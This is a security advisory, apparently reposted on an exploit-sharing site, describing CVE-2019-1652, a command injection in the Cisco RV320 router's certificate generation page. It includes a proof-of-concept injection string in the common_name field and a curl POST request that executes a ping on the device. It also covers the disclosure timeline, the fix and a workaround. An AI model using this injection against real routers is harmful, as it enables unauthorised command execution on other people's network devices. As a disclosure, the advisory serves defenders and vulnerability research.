0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Cisco RV320 Command Injection Vulnerability
[Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others Affected Versions: 1.4.2.15 and later Fixed Versions: since 1.4.2.20 Vulnerability Type: Remote Code Execution Security Risk: medium Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2018-004 Advisory Status: published CVE: CVE-2019-1652 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652 Introduction ============ "Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network." (from the Cisco RV320 product page [1]) More Details ============ The router's web interface enables users to generate new X.509 certificates directly on the device. A user may enter typical configuration parameters required for the certificate, such as organisation, the common name and so on. In order to generate the certificate, the device uses the command-line program openssl [2]. The device's firmware uses the following format string to assemble the openssl command: ------------------------------------------------------------------------ openssl req -new -nodes -subj '/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s/emailAddress=%s' -keyout %s%s.key -sha256 -out %s%s.csr -days %s -newkey rsa:%s > /dev/null 2>&1 ------------------------------------------------------------------------ Although the web interface filters certain special characters via JavaScript, there is actually no input filtering, escaping or encoding happening on the server. This allows attackers to inject arbitrary commands. Proof of Concept ================ Even though all components of the subject seem to be vulnerable to command injection, the following example uses the common name to trigger a ping command: ------------------------------------------------------------------------ a'$(ping -c 4 192.168.1.2)'b ------------------------------------------------------------------------ The following HTTP POST request invokes the certificate generator function and triggers the command injection. It requires a valid session cookie for the device's web interface. ------------------------------------------------------------------------ curl -s -b "$COOKIE" \ --data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\ "&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\ "&organization=A&organization_unit=A&email=ab%40example.com"\ "&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\ "SelectSubject_s=1" \ --data-urlencode "common_name=a'\$(ping -c 4 192.168.1.2)'b" \ "http://192.168.1.1/certificate_handle2.htm?type=4" ------------------------------------------------------------------------ Afterwards, the incoming ICMP echo requests can be observed on the attacker's system at 192.168.1.2. Workaround ========== Prevent untrusted users from using the router's web interface. Fix === Install firmware version 1.4.2.20 (or later) on the router. Security Risk ============= The vulnerability allows attackers with administrative access to the router's web interface to execute arbitrary operating system commands on the device. Because attackers require valid credentials to the web interface, this vulnerability is only rated as a medium risk. Timeline ======== 2018-09-19 Vulnerability identified 2018-09-27 Customer approved disclosure to vendor 2018-09-28 Vendor notified 2018-10-05 Receipt of advisory acknowledged by vendor 2018-10-05 Notified vendor of disclosure date: 2019-01-09 2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor 2019-01-16 List of affected versions provided by vendor 2019-01-23 Advisory published References ========== [1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html [2] https://wiki.openssl.org/index.php/Command_Line_Utilities # 0day.today [2024-11-16] #